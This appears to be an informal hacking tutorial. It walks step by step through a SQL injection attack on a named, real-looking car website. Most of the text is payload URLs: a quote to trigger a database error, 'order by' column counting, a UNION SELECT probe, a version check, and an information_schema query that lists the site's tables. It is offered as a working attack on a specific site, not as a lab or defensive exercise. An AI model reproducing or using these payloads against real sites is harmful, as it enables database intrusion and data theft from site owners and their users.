http://www.allaboutcar.net/articles.php?topic=3'\

it gives a mysql Database error . that means its vnlnerable to sql injection .. ok lets get the cloumn numbers to do that u need this command "order by " .. put that in the end with count numbers
For Example:[-
http://www.allaboutcar.net/articles.php?topic=3 order by 1--
http://www.allaboutcar.net/articles.php?topic=3 order by 2--
http://www.allaboutcar.net/articles.php?topic=3 order by 3--

do that untill u get a error

It gives a error on http://www.allaboutcar.net/articles.php?topic=3 order by 6--

that mean it only has 5 columns ..  because it didn,t give a error on
http://www.allaboutcar.net/articles.php?topic=3 order by 5--
...
ok lets do the Union
to do this .. u need to use this command Union select

http://www.allaboutcar.net/articles.php?topic=-3 union select 1,2,3,4,5--

like that ..

there sould be number pop up somewhere

we got number 2 pop'd .. ok lets do the inject to 2
1st thing we need to check the db version if its 5 ..we continue .. if itsversion 4 .. u have to guess the table and columns to check the database version use this command "@@version" or "version()"its the version 5

5.0.67

ok now ..

let get the table names.. to do that u need to use this commands

group_concat(table_name)
information_schema.tables

where table_schema=database()--

we have the list of table here now

ok .. now we got this tables

union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()--
